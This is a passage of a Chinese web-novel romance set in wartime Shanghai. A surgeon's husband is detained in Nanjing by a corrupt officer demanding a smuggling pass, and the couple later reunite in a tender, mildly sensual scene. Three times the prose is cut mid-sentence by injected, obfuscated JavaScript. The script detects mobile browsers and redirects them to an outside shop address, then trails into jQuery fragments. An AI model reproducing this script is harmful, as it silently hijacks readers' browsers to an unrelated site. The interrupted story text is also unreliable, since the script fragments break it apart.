何思玥强迫自己不去想，把全部精力投入到工作中。她一天做了五台手术，换了二十多个伤者的药，累得几乎站不稳。但只有这样，时间才能过得快一点。 第四天傍晚，杨石泽来到了医院。他脸色凝重，把何思玥叫到一边。 “南京那边……有消息了。”他压低声音，“沈晏到了，但情况比预想的复杂。扣货的不是普通官员，是军方的人。说那批药品是‘战略物资’，要充公，还有就是，赵副官去了南京之后，并没有被处置，反而升官了。” 何思玥的心沉到谷底：“那他人呢？” “人没事，暂时被困在了他的公寓里，但行动受限。”杨石泽说，“沈晏让我转告你，别担心，他有办法解决。让你……让你好好照顾自己，按时吃饭，按时休息。” 何思玥的眼眶红了。都这种时候了，他还惦记着她吃饭睡觉。 “有什么办法？”她问。 杨石泽犹豫了一下，还是说了：“沈晏在南京有些关系，正在疏通。但需要时间，也需要……代价。” 代价。何思玥懂，在这乱世，办什么事都需要代价。 钱，人情，甚至更多。 “我能做什么？”她问。 “照顾好医院，照顾好自己。”杨石泽说，“这就是对他最大的帮助。思玥，沈晏最放心不下的就是你。你要好好地，他才能安心处理那边的事。” 何思玥用力点头：“我会照顾好自己的，沈晏那边还需要麻烦你，如果需要钱的话，你第一时间告诉我，我来想办法。” 杨石泽离开后，何思玥走到医院的天台上。 暮色四合，上海滩的灯火渐次亮起。远处的炮火映红了半边天，像地狱的入口。 她望向南京的方向——那里同样在战火中，她的丈夫被困在那里，为了救命的药品，在与虎谋皮。 “沈晏，”她轻声说，“我等你。无论多久，都等。” 夜风吹过，带来硝烟和血腥的气息。但何思玥站得很直，像一株在风暴中扎根的树。 何思玥转身走下楼，回到医院。走廊里，伤者的呻吟声依旧，护士们忙碌的身影依旧，她调整情绪，将所有的思绪都投入到救人之中。 被囚禁在公寓的，除了沈晏，还有南京分号的掌柜的。 沈晏被囚禁在自己的公寓，除了有一点担心何思玥和自己的父亲，其他的倒是看不出有什么情绪。 南京，颐和路的一处公寓里。 沈晏站在窗前，看着外面被战火熏黑的梧桐树。树叶已经落光了，光秃秃的枝桠在冬日的寒风里瑟瑟发抖，像无数伸向天空求救的手。 这处公寓是沈家在南京的产业，三层小楼，法式风格，曾经是繁华地段。现在，楼下守着两个持枪的士兵，名义上是“保护”，实际是软禁。 “少爷，”分号的王掌柜坐在沙发上，脸色灰白，“都是我的错……我不该把那批药藏在仓库里，应该早点转移的……” “不怪你。”沈晏转过身，语气平静，“谁也想不到军需处的人会突然搜查。再说，那批药本来就是为前线准备的，藏哪里都危险。” 他说的是实话。那批药品——青霉素、止血粉、手术器械——在战时是比黄金还金贵的物资。军方扣下，说是“充公”，实际上会流到哪里，谁都清楚。 “可是少爷，”王掌柜压低声音，“我听说……军需处的李处长，胃口很大。这次扣货，恐怕不只是为了药品。” 沈晏点点头，他当然知道。李处长派人“请”他住进这公寓时，话里话外已经暗示了——想要货，可以谈。但代价，不会小。 “李处长约我明天见面。”沈晏说，“到时候就知道了。” “少爷，您要小心。”王掌柜担忧地说，“我听说这个李处长……手段很黑。他跟日本人有勾连，跟帮派也有往来。这次扣货，说不定就是设好的局。” 沈晏没说话。他走到书桌前，拿起一份文件——是杨石泽通过秘密渠道送进来的，关于李处长的背景调查。 李正坤，四十五岁，军需处副处长。 贪财，好色，胆子大。去年倒卖一批军火给日本人，事发后被压了下来，据说上面有人保他。今年更猖狂，借着战乱，倒卖药品、粮食，甚至……人口。 “这种人，”沈晏轻声说，“最危险，但也最好对付。” “为什么？” “因为贪。”沈晏合上文件，“贪的人，就有弱点。而弱点，就可以利用。” 第二天下午，李处长来了。 他没穿军装，而是穿了身深蓝色绸缎长衫，手里拿着根文明杖，看起来像个儒雅的商人。但那双眼睛，精光四射，像鹰。 “沈少爷，久仰久仰。”他笑着伸出手，“早就听说上海沈家的名号，今日一见，果然青年才俊。” 沈晏与他握手，力道不轻不重：“李处长过奖。请坐。” 两人在客厅落座。王掌柜奉上茶，便退了出去。房间里只剩下他们两人。 “沈少爷在南京住得还习惯吗？”李处长端起茶杯，慢条斯理地问。 “还好。”沈晏说，“就是惦记着上海的事。家父身体不好，医院里也缺药，心里着急。” “理解，理解。”李处长放下茶杯，“战时嘛，大家都难。我们军需处也难——前线要药，伤兵要药，可药品就那么多，怎么办？只能……统筹分配。” 他说着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056922|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从怀里取出一份文件，推到沈晏面前：“这是那批药品的充公令，手续齐全。沈少爷看看？” 沈晏接过，扫了一眼。文件确实是正式公文，盖章签字一应俱全。但充公的理由很模糊：“涉嫌囤积战略物资，影响战时供应。” “李处长，”沈晏放下文件，“这批药品，是我沈家为上海几家医院采购的救命药。前线重要，后方的伤者也很重要。您看……能不能通融通融？” “通融？”李处长笑了，“沈少爷，不是我不通融，是军令如山啊。这批药，已经列入前线补给清单了，下周就要运走。” 他说得斩钉截铁，但眼神里闪过一丝狡黠。沈晏捕捉到了。 “李处长，”他身体微微前倾，压低声音，“明人不说暗话。这批药，沈家花了三万大洋。如果李处长能帮忙要回来，沈某愿意……再出两万，作为感谢。” 两万大洋，在这个米价飞涨的年代，足够买下一整条街。 李处长的眼睛亮了亮，但很快恢复平静：“沈少爷，这不是钱的问题……” “三万。”沈晏加价。 李处长的手指在茶杯上轻轻敲打，没说话。 “三万五。”沈晏继续说，“另外，上海沈氏商行的股份，可以给李处长一成。” 这个条件让李处长动容了。沈氏商行是上海滩数得着的大商号，一成的股份，每年的分红就是天文数字。 他沉默了很久，终于开口：“沈少爷，不是我不想帮你。但这次扣货，不是我一个人的意思。上面……也有人盯着。” “上面是谁？” 李处长摇摇头：“这个不能说。但我可以告诉你，想要这批药，光有钱不够，还得有……其他的交换。” “什么交换？” 李处长凑近些，声音压得更低：“沈少爷在上海，跟工部局的关系不错吧？我听说，你跟那个英国董事，能说上话？” 沈晏心里一紧，面上不动声色：“有点交情。” “好。”李处长笑了，“我有个朋友，想从上海运一批货去香港。但最近查得严，需要工部局的特别通行证。沈少爷要是能帮忙弄到这个……那批药品，我保证原封不动地还给你。” 沈晏的脑子飞快转动。什么货需要特别通行证？军火？烟土？还是…… “什么货？”他问。 “这个嘛……”李处长含糊其辞，“就是些普通货物。沈少爷不必多问，只要帮忙弄到通行证就行。事成之后，药品奉还，另外我再个人补你五千大洋，算是酬劳。” 沈晏看着他，忽然明白了——这是一场交易，但更是一场试探。李处长不仅要钱，还要试探他在上海的关系网，甚至……可能要拉他下水。 如果他答应了，以后就再也洗不干净了。 “李处长，”沈晏缓缓开口，“通行证的事，我可以去问问。但能不能成，不敢保证。” “沈少爷出马，一定能成。”李处长拍拍他的肩，站起身，“这样吧，我给你三天时间。三天后，我等你的好消息。” 他走到门口，又回头：“对了，沈少爷这几天就在南京好好玩玩，不用急着回上海。毕竟……安全第一嘛。” 这话里的威胁，沈晏听懂了。 三天内拿不到通行证，不仅药品要不回来，他可能也回不了上海。 40. 第 40 章 李处长离开后，王掌柜匆匆进来：“少爷，怎么样？” 沈晏走到窗前，看着李处长的汽车驶离。良久，他才说：“准备一下，我要给上海发封密电。” “可是少爷，我们的通讯被监控了……” “用那个渠道。”沈晏说，“杨石泽知道的渠道。” 当天夜里，一封加密电报从南京发出，几经辗转，第二天清晨送到了杨石泽手中。 杨石泽译出电文，脸色变了变，立刻去找何思玥。 医院里，何思玥刚做完一台手术，正在洗手。看见杨石泽凝重的表情，她的心一沉。 “有消息了？” 杨石泽点点头，把译好的电文递给她。何思玥接过，纸上只有一行字：“李正坤要工部局通行证，运货赴港。疑为烟土或军火。可否周旋？晏。” 何思玥的手在抖。 她懂沈晏的意思——他在问她，是否可以通过工部局的关系，弄到那张通行证。但她也懂这背后的风险：如果帮了，就是同谋；如果不帮，药品拿不回来，沈晏也可能有危险。 “思玥，”杨石泽低声说，“这事……很棘手。工部局那边，虽然你救过董事的女儿，但这种涉及走私的事，他们不会轻易帮忙。而且……一旦沾上，后患无穷。” 何思玥看着那行字，仿佛能看见沈晏写下它们时的样子——一定是在深夜，就着一盏孤灯，眉头紧锁，权衡利弊。 他在问她。不是自己做决定，而是问她。 因为他知道，这件事不仅关系到药品，更关系到他们共同的底线——那些不能碰的红线。 “杨先生，”何思玥抬起头，眼神清明，“麻烦你回电给沈晏。” “怎么回？” 何思玥走到桌边，拿起笔，在一张空白的处方笺上写下几个字，递给杨石泽：“药可舍，人不可污。底线在，等你归。玥。” 杨石泽看着这行字，眼眶忽然热了。他用力点头：“好，我这就去发。” 电文发出去了。何思玥不知道沈晏看到时会是什么心情，但她相信，他会懂。 “何医生，我听说了你先生的事情，我好像想起了一件事，那天我们救治的人当中，有一个是南京某个处长的太太，你还记得吗？或许你可以试着联系她试试，看看能不能帮忙。” 何思玥猛地抬起头，记忆如潮水般涌来。 那是半个月前的事了。 一个雨夜，救护车送来一位中年妇人，穿着墨绿色锦缎旗袍，颈上珍珠项链散落，腹部中弹，血流不止。送来的人神色慌张，只说“夫人在路上遇到流弹”，别的什么都不肯说。 当时是何思玥主刀，手术很复杂，子弹卡在脾脏附近，稍有不慎就会大出血。她和陆医生忙了四个小时，才把人从鬼门关拉回来。 术后，那位夫人在医院住了三天。 何思玥每天去看她，发现她虽受伤，但言谈举止不俗，枕头下总压着一本书——是英文原版的《呼啸山庄》。 第三天，夫人要转院去条件更好的私人医院。 临走前，她拉着何思玥的手，塞给她一张名片：“何医生，谢谢你救我一命。以后若到南京，一定来找我。我先生姓徐，在军政部做事。” 名片很简单，只印着“徐公馆”三个字，和一个南京的电话号码。何思玥当时忙着救治其他伤者，随手把名片收进抽屉，后来就忘了。 “徐处长……”何思玥喃喃道，“陆院长，您确定是军政部的徐处长？” 陆医生点头：“那位夫人转院时，来接的人我认得，是徐处长的副官。我当时还想，这位徐处长在南京可是实权人物，怎么会把夫人送到我们这小医院来？后来想，大概是情况紧急，就近送医。” 何思玥的心跳加快了。军政部，管着军需处。如果徐处长肯出面，李处长那里…… “可是，”她犹豫道，“我这样贸然去找，会不会太唐突？而且……那位夫人只说‘以后若到南京’找我，现在是为了沈晏的事……” “救命之恩，大过天。”陆医生说，“思玥，那位夫人转院前，特意让我转告你，说‘何医生的恩情，我记一辈子’。现在是你先生有难，你去求她帮忙，不算过分。” 杨石泽也点头：“思玥，这是个机会。徐处长如果能说句话，比什么通行证都管用。而且……这是正路，不沾污。” 何思玥握紧了拳头。她想起沈晏电报里那句“可否周旋”——他在问她是否要触碰底线。而现在，陆医生给了她另一个选择：不求通行证，要求更高层的人情。 但这样……算不算利用救命之恩？ “思玥，”陆医生看出她的犹豫，“医者救人，不是为了图报。但若对方真心想报恩，你接受这份善意，也是成全对方的心意。何况，你求的不是私利，是为了救命的药品，为了你先生的安全。” 这话点醒了何思玥。是啊，她不是为了自己，是为了那些等着药品救命的伤者，为了被困在南京的沈晏。 “好。”她下定决心，“我试试。杨先生，麻烦你帮我联系那位徐夫人。” 联系过程比想象的顺利。电话打到南京徐公馆，接电话的是那位夫人的贴身女佣，一听是“上海广慈医院的何医生”，立刻恭敬地说：“夫人一直在等您的电话。” 第二天，徐夫人亲自回了电话。她的声音温柔但有力：“何医生，你的事我听说了。沈先生的事，我先生已经知道了。你放心，那批药品，明天就会发还。” 何思玥握着话筒的手在抖：“徐夫人……谢谢您。我……我不知道该说什么……” “别说谢。”徐夫人在电话那头笑了，“你救我一命，我还你一个人情，天经地义。而且何医生，我先生说了，李正坤那个人……早该收拾了。这次借沈先生的事，正好办他。” 她顿了顿，声音低了些：“何医生，你和沈先生的事，我都听说了。你们在上海做的事，让人敬佩。这世道，像你们这样的人不多了。好好保重，等战争结束，我到上海看你们。” 电话挂断后，何思玥还握着话筒，久久不能回神。 就这么……解决了？ 杨石泽在一旁，也松了口气：“思玥，这位徐夫人……不简单。她先生是军政部次长，实权人物。李处长在他面前，就是一只蚂蚁。” “可是……”何思玥喃喃道，“为什么？就因为救过她？” “不只。”杨石泽说，“我打听过了，徐处长是主战派，一直看不惯李正坤那种发国难财的人。这次是借题发挥，一举两得——既还了你的人情，又清除了内部蛀虫。” 何思玥懂了。 这不是单纯的报恩，是政治，是博弈。她和沈晏，无意间成了棋盘上的一颗棋子。 但至少，棋子落对了地方。 第二天下午，南京果然传来消息：药品发还了，李处长被停职调查。沈晏也自由了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063821|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在安排药品装车，准备运回上海。 何思玥终于能睡个安稳觉了。 但夜里，她还是梦见了沈晏——梦见他在南京的公寓里，站在窗前，看着外面的梧桐树。然后他转过身，朝她微笑，说：“思玥，我回来了。” 醒来时，枕边湿了一片。 南京，沈晏收到药品发还的通知时，并不意外。 昨天徐处长的副官亲自来了一趟，客气地说：“沈先生受惊了。李正坤的事，上面已经处理。您的药品今天就能提走，另外……徐处长让我转告，以后在南京有什么困难，可以直接找他。” 沈晏道了谢，送走副官后，站在窗前久久不语。 王掌柜兴奋地说：“少爷，太好了！药品保住了，李正坤也倒了，我们……” “我们该走了。”沈晏打断他，“收拾东西，今天下午就回上海。” “这么急？” “夜长梦多。”沈晏说，“李正坤倒了，但他背后的人还在。我们留在这里，不安全。” 更重要的是，他想何思玥了，想得心都疼。 药品装车很快。三辆卡车，满载着救命的物资，在冬日的寒风中驶向上海。沈晏坐在第一辆车的副驾驶座上，看着窗外飞速倒退的景色。 田野荒芜，村庄破败，路边偶尔能看到逃难的人群，拖家带口，步履蹒跚。战争还在继续，苦难还在蔓延。 但至少，他带回了药。至少，又能救一些人。 至少……他能回到何思玥身边了。 车队在傍晚时分进入上海。穿过封锁线时，守军检查了通行证——是徐处长特批的，一路畅通无阻。 沈晏让车队直接开往医院。他要在第一时间，把药送到何思玥手中。 医院门口，何思玥已经等在那里了。她穿着白大褂，外面披了件沈晏的旧大衣，在寒风中站着，像一株倔强的芦苇。 车停稳，沈晏跳下来。两人隔着几步远，对视着。 何思玥看着他——瘦了，憔悴了，但眼睛很亮，亮得像燃着火。 沈晏看着她——也瘦了，眼下有青影，但脊背挺直，眼神坚定。 然后，几乎同时，他们走向对方，紧紧拥抱。 没有言语，只有拥抱。用力的，颤抖的，像要把对方揉进骨血里的拥抱。 “我回来了。”沈晏在她耳边说。 “我知道。”何思玥的声音哽咽，“我一直知道，你会回来。” 药品被迅速卸下，搬进医院。陆医生带着护士们清点，脸上终于有了笑容：“够了，这些药够我们用一个月了。” 沈晏和何思玥站在一旁，看着忙碌的人群。暮色渐浓，医院的灯一盏盏亮起来。 “思玥，”沈晏轻声说，“你那封电报……‘药可舍，人不可污’。我看到的时候，哭了。” 何思玥转头看他，眼睛里有泪光：“我以为你会怪我，怪我不帮你弄通行证……” “怎么会。”沈晏握住她的手，“思玥，你知道我最高兴的是什么吗？不是你找到了徐夫人这个关系，不是你保住了药品，而是……在那种情况下，你和我做了同样的选择。” 他看着她，眼神温柔得像春水：“我们是一样的人，思玥。这就够了。这辈子，够了。” 何思玥的眼泪掉下来。她靠在他肩上，看着医院的灯光在夜色里温暖地亮着。 远处还有炮声，但这一刻，她觉得无比安宁。 41. 第 41 章 等何思玥再次醒来的时候，发现自己躺在病床上，她想撑起身，左臂却一阵酸软无力。 细微的动静惊动了床边的人，沈晏几乎是从椅子上弹起来的，他的手立刻覆上她的额头，动作急切却又在触及时放得极轻。 “醒了？”他的声音沙哑得厉害，眼下一片浓重的青影，下巴上胡茬凌乱，西装皱巴巴地裹在身上，显然已经守了很久，“觉得怎么样？头晕吗？恶心吗？” 一连串的问题砸过来，何思玥有些茫然。她轻轻摇头，想开口，喉咙却干涩发紧。 沈晏立刻转身倒了温水，小心托起她的后颈，将杯沿凑到她唇边。水温刚好，她小口啜饮着，混沌的脑子渐渐清明。 “我……”她声音微弱，“我怎么在这儿？ “最近你过分劳累，加上营养不良，所以晕倒了。”说着，沈晏帮何思玥撩开遮住眼睛的几缕碎发，“这段时间让你担心了。” “我们本就一体，谈不上为你担心，要是我出事，你也会担心我，不是嘛？我也希望在你需要我的时候，我也能帮助你。” 沈晏的手指在她发间停顿了一瞬，然后更轻柔地将那几缕碎发别到耳后。他的指尖带着薄茧，拂过她耳廓时带来细微的暖意。 “你已经帮了我很多。”他的声音很低，像在说一个笃定已久的事实，“思玥，你知道吗？在南京那几天，每次我觉得撑不下去的时候，就会想起你——想起你在手术台上的样子，想起你站在码头拿着手术刀的样子，想起你说‘药可舍，人不可污’的样子。” 他握住她的手，指尖描摹着她指节上因为长期握手术刀而磨出的薄茧：“每次想起来，我就觉得，我不能倒。因为我的思玥还在上海，还在救人，还在守着我们的底线。我怕我倒下了，你也没有活下去的勇气，你是一次次坚持下去的信念。” 何思玥的眼眶热了。她看着沈晏——这个曾经被她贴上“满身铜臭”标签的男人，此刻眼里只有一片坦荡的、让她心安的温柔。 “沈晏，”她轻声问，“药品……都安全运到了吗？” “嗯。”沈晏点头，“陆医生已经清点入库了。够医院用一个月。另外……徐处长那边，以后会定期给我们提供一些药品配额。虽然不多，但至少是一个稳定的来源。” “徐处长他……” “他夫人恢复得很好，特意让人送了谢礼来。”沈晏从口袋里取出一个小锦盒，打开，里面是一对翡翠耳坠，水头极好，绿得通透，“我说你不喜欢这些，但徐夫人坚持要送，说是给‘救命恩人’的念想。” 何思玥看着那对耳坠，摇摇头：“太贵重了，我不能收。” “我知道。”沈晏合上锦盒，“所以我替你回绝了。我说，如果徐夫人真想谢你，不如把买首饰的钱，换成药品捐给医院。她答应了。” 何思玥愣住了，随即笑了：“你呀……” “商人本色。”沈晏也笑了，那笑容里有疲惫，却也有种尘埃落定的轻松，“不过思玥，徐处长这个人……可以交。他是主战派，有良心，也有能力。以后在上海，我们多一个朋友，少一个敌人。” “这次是因为你被困在南京，所以我才联系徐夫人的，至于值不值得深交以后再说。” 沈晏紧紧地握住何思玥的手，“思玥，我在南京公寓里看到了那些之前没有收到的情书，你的逐字逐句真的感动了我。” 沈晏的声音忽然哽了一下，他别过脸去，深深吸了口气，才转回来，眼眶明显泛着红。 “那些信……”他再开口时，嗓音更哑了，“你写‘今天救了一个孩子，他叫我姐姐，我想起你’；写‘陆医生说我又进步了，我想第一个告诉你’；写‘夜里炮声很响，我握着你的护身符，就不怕了’……” 他每复述一句，握着她的手就收紧一分，像是要把那些字句带来的震颤传递给她。 “思玥，我在南京，对着那些被扣押的药品，对着李处长那张贪婪的脸，有时候真的觉得……这世道没救了，人心都烂透了。”他看着她，眼底有潮湿的水光在晃动，“可我一回到公寓，看到你写的那些信，看到你一笔一画写下的‘今天又救了一个人’，‘有个女孩说想像我一样学医’，‘希望战争早点结束，我们就能开诊所了’……” 他低下头，额头轻轻抵着两人交握的手：“我就觉得，这世道还有救。因为还有你这样的人，在战火里数着救了多少人，在废墟里记着那些微小的希望，在所有人都想逃的时候，想着以后要建一个能庇护更多人的地方。” 何思玥的眼泪无声地滑落，渗进枕头里。她没想到那些在深夜里写下的、絮絮叨叨的思念和日常，会在他最艰难的时候，成为照亮黑暗的光。 “那些信……我都忘了具体写了什么。”她轻声说，“就是……就是每天晚上，想着你可能会看到，就想把一天里好的坏的事，都告诉你，把一件件小事都与你分享。” “我看到了。”沈晏抬起头，用指腹轻轻擦去她的泪，“每一封都看了。在南京的每一个晚上，都是靠着读你的信撑过来的。思玥，你的信比任何通行证都管用——它们让我记得我是谁，让我记得我在为什么拼命。” 他顿了顿，声音低柔得像夜风：“你还记得有一封里写什么吗？你说‘今天给一个老伯缝合伤口，他疼得直哆嗦，却一直说谢谢。我忽然想，如果我们以后有了孩子，要教他什么？我想教他，人活一世，不一定要做大人物，但至少要学会在别人疼的时候，说一句‘我懂’，在别人需要的时候，伸一只手。’” 何思玥想起来了。 那是她轮值夜班后，累极了，却睡不着，趴在值班室的桌上写的。写的时候，窗外的炮火正烈，她却莫名想到了很遥远的未来。 “我当时只是……随便写的。” “可我是认真想的。”沈晏看着她，眼神里有种前所未有的郑重，“思玥，如果我们以后真的有孩子，我一定这么教他。不，是我们一起教他——教他你的善良，你的坚韧，你‘不想眼睁睁看着人死’的心。教他在这乱世里，怎么做一个……像你一样有光的人。” 这话说得太深情，太郑重，让何思玥的心脏像被温水包裹，暖得发疼。 她忽然想起自己晕倒前身体的异样，想起醒来时沈晏欲言又止的神情，一个模糊的猜测在心底浮现。 但她没有问。只是回握住他的手，用力地，像要传递某种无声的确认。 “沈晏，”她轻声说，“等我能下床了，我们把那些信……都找出来吧。我想和你一起， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069993|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再读一遍。” “好。”沈晏点头，“不过现在，你要先养好身体。陆医生说，你必须卧床至少一周。” “一周？！”何思玥急了，“那医院……” “医院有陆医生，有其他大夫，还有新来的实习生。”沈晏按住她，“思玥，这次你必须听我的。你不是一个人了，你要为……为你自己，也多想想。” 他差点说漏嘴，及时停住。何思玥敏锐地察觉到了他话里的停顿，心中的猜测又清晰了几分。她看着沈晏紧张又强作镇定的表情，忽然明白了什么。 她没有追问，只是顺从地点了点头：“好，我听你的。” --- 在医院修养一周后，终于出院了。 “沈晏，你能不能把我放下来，我可以自己走回去的。”从到家门口的那一刻，沈晏就一直抱着她，路过的人都时不时地驻足看一眼。 “我抱着自己的夫人，我才不管别人说一些什么呢，还有就是，我可不是什么君子，也不坦荡，你用这种演什么看着我，我怕做出什么事情。” 何思玥听到沈晏这么一说，立刻撇过脸。 沈晏低笑一声，温热的气息拂过她耳畔。 他抱着她稳稳迈过门槛，穿过洒满午后阳光的天井，径直朝二楼卧房走去。木楼梯在他脚下发出轻微的吱呀声，每一声都敲在何思玥的心上。 “沈晏……”她的脸颊贴着他微皱的西装面料，能听见他胸腔里稳健的心跳。 “嘘。”他在房门前停住，用脚尖轻轻推开门，“陆医生交代了，不能累着，不能激动，不能……”他的声音忽然放得很柔，像怕惊扰了什么易碎的梦，“不能让你有半点闪失。” 房间里的窗帘半掩着，光线朦胧。 沈晏将她小心地放在铺着素色锦缎的床上，却没有立刻直起身。他单膝跪在床沿，双手撑在她身侧，将她笼在一片温柔的阴影里。 “外面是不是下雨了？”刚躺下的何思玥，好像听到了外面‘滴答滴答’的声音。 沈晏没有立刻回答。他走到窗边，轻轻拉开那扇雕花木窗。 湿润的空气夹杂着泥土和栀子花的气息漫进房间，雨丝在傍晚昏黄的天光里斜斜地织成一张细密的网。 “滴答”声变得清晰起来，是雨水敲打瓦檐、汇聚成串，又落入楼下天井石缸里的声音。 “是下雨了。”他转过身，背靠着窗棂，目光沉沉地望回床上。 何思玥侧耳听着。 雨声不疾不徐，渐渐连成一片沙沙的轻响，像无数蚕在啃食桑叶，又像遥远的潮汐。 “真好听。”她轻声说，目光落在沈晏被窗外微光勾勒出的侧影上。他的轮廓在雨幕的背景前显得格外清晰，也格外沉静。 沈晏走回床边，没有像刚才那样靠近，只是拖过一张圆凳坐下，握住了她搭在锦被上的手。他的手心温暖干燥，稳稳地包裹住她的指尖。 何思玥就这样注视着沈晏，在她需要帮助的时候，一直在身边的男人，对他的喜欢和依赖藏在她心底的最深处。 “思玥，我有没有告诉你，你这样看着我可是要出事情的。” “那你试一试。”何思玥说出这句话的时候，就有一点后悔了，说的都是什么。 42. 第 42 章 沈晏的呼吸明显滞了一下。 他握着她的手指收紧了，那双深潭似的眼睛骤然暗沉，里面翻涌起何思玥既熟悉又陌生的风暴。 雨声似乎在这一刻被隔绝在外，房间里只剩下两人交缠的视线和陡然升温的空气。 “何思玥，”他几乎是咬着她的名字，声音低哑得不像话，“你知不知道你刚刚说的是什么？” 他是在提醒她，更是在提醒自己。 何思玥的脸颊瞬间绯红，刚才那一瞬间的冲动被理智和羞赧取代。她眼神闪烁了一下，想抽回手，却被他更用力地握住。 “我……”她避开他灼人的目光，声音细若蚊蚋，“我只是……说错了。” “说错了？”沈晏俯身，凑得更近，温热的鼻息拂过她的脸颊，“可我听得很清楚。你说，‘那你试一试’。” 他的目光落在她轻颤的睫毛、泛红的耳垂，最后停在她微微抿紧的唇上。那眼神像是带着实质的温度，一寸寸熨烫过她的皮肤。 何思玥的心脏狂跳起来，几乎要撞出胸腔。她感觉到一种危险的、令人战栗的甜蜜，下意识地想后退，后背却已抵着柔软的床头。 沈晏看了她几秒，忽然极轻地叹了口气。那口气息里满是压抑的躁动和无奈的宠溺。 何思玥倾身，学着沈晏的样子，轻轻地吻过他的唇瓣，吃着他的唇。 这个吻很轻，带着试探和生涩，却像一枚投入平静湖面的石子，瞬间在沈晏紧绷的神经上激起了滔天巨浪。 他的脊背猛然僵直，瞳孔骤然收缩。何思玥能清晰地感觉到他握着自己的手瞬间收力，指节甚至有些发白。 他周身那股压抑的风暴，在这一刻仿佛找到了一个脆弱的缺口，咆哮着想要奔涌而出。 但沈晏终究是沈晏。 在那几乎要失控的刹那，他用尽了全身的克制，硬生生将自己从悬崖边拉了回来。 他没有加深这个吻，甚至没有回应，只是任由那蜻蜓点水般的触感停留了一瞬，然后猛地向后撤开了半尺的距离。 他的胸膛剧烈起伏，呼吸粗重，眼底是骇人的深暗，仿佛有黑色的火焰在燃烧，烧灼着他的理智。 他的目光死死锁住何思玥，那里面有震惊，有汹涌得几乎要将她吞噬的情感，更有一种近乎痛苦的挣扎。 “何思玥……”他的声音嘶哑得破碎，每一个字都像是从齿缝里挤出来的，“你……你真是……”他再次念她的名字，声音哑得破碎，每一个音节都裹着未尽的欲望和浓得化不开的后怕，“你真是……要了我的命了。” 许久未见的思念都在这一刻爆发，沈晏去亲吻她的脖颈，身体诚实地像是被她挑起了兴趣，“我们思玥不再是我刚认识的小姑娘了，身子越发的敏感，身子比过去容易发烫了...” 在沈晏眼里，何思玥还是他刚认识的模样，眼睛里透着光。 他的唇落在她的颈侧，那滚烫而潮湿的触感让何思玥浑身一颤，几乎要软下去。,那不再是刚才她主动时的青涩触碰，而是带着明确目的和深沉欲望的侵略。 他的话语低哑地响在耳边，混着灼热的呼吸，每一个字都像带着细小的电流，窜过她的脊椎。 身子比过去容易发烫了…… 这句话钻进耳朵，羞耻和一种难以言喻的悸动瞬间攫住了她。 她想反驳，想说不是，可身体深处涌上的陌生热流和皮肤诚实的升温，却背叛了她的意愿。 沈晏的吻没有深入，只是流连在那一片细腻的肌肤上，时而轻吮，时而用齿尖极轻地碾磨，留下湿热的印记和细微的战栗。 他的手撑在她身侧，手臂肌肉绷紧，显露出他在用多大的力气控制着自己不去做更多。 “别……”何思玥终于找回一点声音，却细弱得如同呜咽，听起来更像是欲拒还迎的邀请。 她感觉到他身体的紧绷和温度，那热度透过衣料传来，几乎要将她也点燃。 沈晏的动作顿住了。 他抬起头，眼底的火焰依旧燃烧，却多了几分清醒的痛楚。他看着她水光潋滟的眼眸，绯红的脸颊，和被吻得微肿的唇，喉结剧烈地滚动了一下。 “对不起……”他声音嘶哑，带着沉重的喘息，“我……”他猛地闭了闭眼，再次睁开时，那汹涌的暗潮被强行压下大半，只剩下深深的眷恋和一丝狼狈。 “我只是……太想你了。”他低声说，额头轻轻抵上她的额头，鼻尖相触，呼吸交融，“在南京每一天，都在想。想你站在手术台边的样子，想你低头写病历的样子，想你……被我惹恼了又无可奈何瞪我的样子。” 他的声音越来越低，越来越柔，像在倾诉一个珍藏已久的秘密：“可我想得最多的，还是你安安静静靠在我怀里，像现在这样……让我觉得，外面再乱，风雨再大，我这里，总是暖的，总是有个归处。” 何思玥的心被他的话熨帖得发酸发软。 那些独自支撑的日夜，那些悬心挂念的焦灼，仿佛都在他这几句低语里找到了归宿。她抬起有些无力的手，轻轻环住了他的脖颈，将自己的脸更深地埋进他的肩窝。 这个依赖的姿势让沈晏的身体又是一僵，随即更加温柔地拥紧了她。他没有再做任何出格的动作，只是这样抱着，仿佛要将分别的时日里缺失的拥抱都补回来。 窗外的雨声不知何时变得绵密柔和，像一首催眠的夜曲。 房间里，只剩下两人逐渐平复的呼吸和心跳声，交织在一起。 良久，沈晏才缓缓松开她，替她将有些散乱的鬓发拢到耳后。他的指尖还有些微的颤抖，但眼神已经恢复了清明和那种专属她的、深沉的温柔。 “粥该凉了。”他清了清嗓子，试图让声音听起来正常些，“我去端上来。” 